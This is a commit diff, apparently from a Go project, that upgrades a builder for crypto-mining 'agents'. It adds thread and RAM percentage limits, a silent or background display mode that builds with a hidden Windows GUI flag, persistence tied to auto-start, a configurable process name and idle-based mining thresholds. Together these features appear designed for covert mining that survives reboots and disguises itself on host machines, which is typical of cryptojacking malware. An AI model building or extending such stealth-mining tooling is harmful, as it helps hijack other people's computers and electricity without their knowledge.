Upgrade dashboard, builder, and agent resource controls.
Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
@@ -23,12 +23,18 @@ type BuildRequest struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
ThreadMode string `json:"thread_mode"`
|
||||
ThreadPercent int `json:"thread_percent"`
|
||||
CPUPriority string `json:"cpu_priority"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
DisplayMode string `json:"display_mode"`
|
||||
SilentMode bool `json:"silent_mode"`
|
||||
RunAs string `json:"run_as"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
MaxMemoryPct int `json:"max_memory_percent"`
|
||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
@@ -148,7 +154,7 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
|
||||
ldflags := "-s -w"
|
||||
if req.SilentMode {
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
@@ -219,6 +225,31 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.Threads <= 0 {
|
||||
req.Threads = 4
|
||||
}
|
||||
if req.ThreadMode == "" {
|
||||
req.ThreadMode = "percent"
|
||||
}
|
||||
if req.ThreadPercent <= 0 {
|
||||
req.ThreadPercent = 75
|
||||
}
|
||||
if req.ThreadPercent > 100 {
|
||||
req.ThreadPercent = 100
|
||||
}
|
||||
if req.DisplayMode == "" {
|
||||
if req.SilentMode {
|
||||
req.DisplayMode = "silent"
|
||||
} else {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
if req.Persistence {
|
||||
req.AutoStart = true
|
||||
}
|
||||
if req.ProcessName == "" {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
if req.MaxMemoryPct <= 0 {
|
||||
req.MaxMemoryPct = 70
|
||||
}
|
||||
if req.CPUPriority == "" {
|
||||
req.CPUPriority = "below_normal"
|
||||
}
|
||||
@@ -273,11 +304,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ServerURL: %q,
|
||||
Wallet: %q,
|
||||
Threads: %d,
|
||||
ThreadMode: %q,
|
||||
ThreadPercent: %d,
|
||||
CPUPriority: %q,
|
||||
MiningMode: %q,
|
||||
DisplayMode: %q,
|
||||
SilentMode: %v,
|
||||
RunAs: %q,
|
||||
AutoStart: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
PoolHost: %q,
|
||||
@@ -285,6 +320,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
PoolTLS: %v,
|
||||
PoolPass: %q,
|
||||
MaxCPUUsage: %d,
|
||||
MaxMemoryPct: %d,
|
||||
MinFreeRAM: %d,
|
||||
IdleThresholdPct: %d,
|
||||
IdleDurationMinutes: %d,
|
||||
@@ -297,11 +333,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ServerURL,
|
||||
req.Wallet,
|
||||
req.Threads,
|
||||
req.ThreadMode,
|
||||
req.ThreadPercent,
|
||||
req.CPUPriority,
|
||||
req.MiningMode,
|
||||
req.DisplayMode,
|
||||
req.SilentMode,
|
||||
req.RunAs,
|
||||
req.AutoStart,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
time.Now().Unix(),
|
||||
req.PoolHost,
|
||||
@@ -309,6 +349,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.PoolTLS,
|
||||
req.PoolPass,
|
||||
req.MaxCPUUsagePct,
|
||||
req.MaxMemoryPct,
|
||||
req.MinFreeRAMMB,
|
||||
req.IdleThresholdPct,
|
||||
req.IdleDurationMinutes,
|
||||
|
||||
Reference in New Issue
Block a user